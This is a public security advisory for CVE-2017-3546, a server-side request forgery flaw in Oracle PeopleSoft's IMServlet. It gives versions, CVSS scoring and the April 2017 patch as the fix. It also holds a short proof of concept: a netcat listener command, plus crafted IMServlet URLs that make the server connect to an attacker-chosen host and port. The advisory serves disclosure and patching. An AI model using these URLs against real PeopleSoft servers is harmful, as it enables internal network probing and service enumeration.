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Oracle PeopleSoft - Server-Side Request Forgery Vulnerability
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Application: Oracle PeopleSoft Versions Affected: ToolsRelease: 8.55.03; ToolsReleaseDB: 8.55; PeopleSoft HCM 9.2 Vendor URL: http://oracle.com Bugs: SSRF Reported: 23.12.2016 Vendor response: 24.12.2016 Date of Public Advisory: 18.04.2017 Reference: Oracle CPU April 2017 Author: Roman Shalymov (ERPScan) Description 1. ADVISORY INFORMATION Title:[ERPSCAN-17-022] SSRF in PeopleSoft IMServlet Advisory ID: [ERPSCAN-17-022] Risk: high CVE: CVE-2017-3546 Advisory URL: https://erpscan.com/advisories/erpscan-17-022-ssrf-peoplesoft-imservlet/ Date published: 18.04.2017 Vendors contacted: Oracle 2. VULNERABILITY INFORMATION Class: SSRF Impact: cross-site port attack, service enumeration Remotely Exploitable: yes Locally Exploitable: yes CVSS Information CVSS Base Score v3: 8.0 / 10 CVSS Base Vector: AV : Attack Vector (Related exploit range) Network (N) AC : Attack Complexity (Required attack complexity) High (H) PR : Privileges Required (Level of privileges needed to exploit) High (H) UI : User Interaction (Required user participation) None (N) S : Scope (Change in scope due to impact caused to components beyond the vulnerable component) Changed (C) C : Impact to Confidentiality High (H) I : Impact to Integrity High (H) A : Impact to Availability High (H) 3. VULNERABILITY DESCRIPTION An attacker can force a vulnerable server to trigger malicious requests to third-party servers or to internal resources. This vulnerability can then be leveraged to launch specific attacks such as a cross-site port attack, service enumeration, and various other attacks. 4. VULNERABLE PACKAGES ToolsRelease: 8.55.03 ToolsReleaseDB: 8.55 PeopleSoft HCM 9.2 5. SOLUTIONS AND WORKAROUNDS To correct this vulnerability, implement Oracle CPU April 2017 6. AUTHOR Roman Shalymov 7. TECHNICAL DESCRIPTION PoC Run netcat 1. nc -l -p # on some host In browser open the following links http://PPLSOFTSRV:8000/IMServlet?Method=CONNECT http://PPLSOFTSRV::8000/IMServlet?Method=GOOGLE_PRESENCE&im_to_user=abc&im_server_name=GOOGLE&im_server=SOMEHOST:OPEN_PORT/?param=var%23" Read response in netcat GET /?param=var HTTP/1.1 User-Agent: Java1.7.0_95 Host: SOMEHOST:OPEN_PORT Accept: text/html, image/gif, image/jpeg, /; q=.2 Connection: Keep-Alive # 0day.today [2024-10-06] #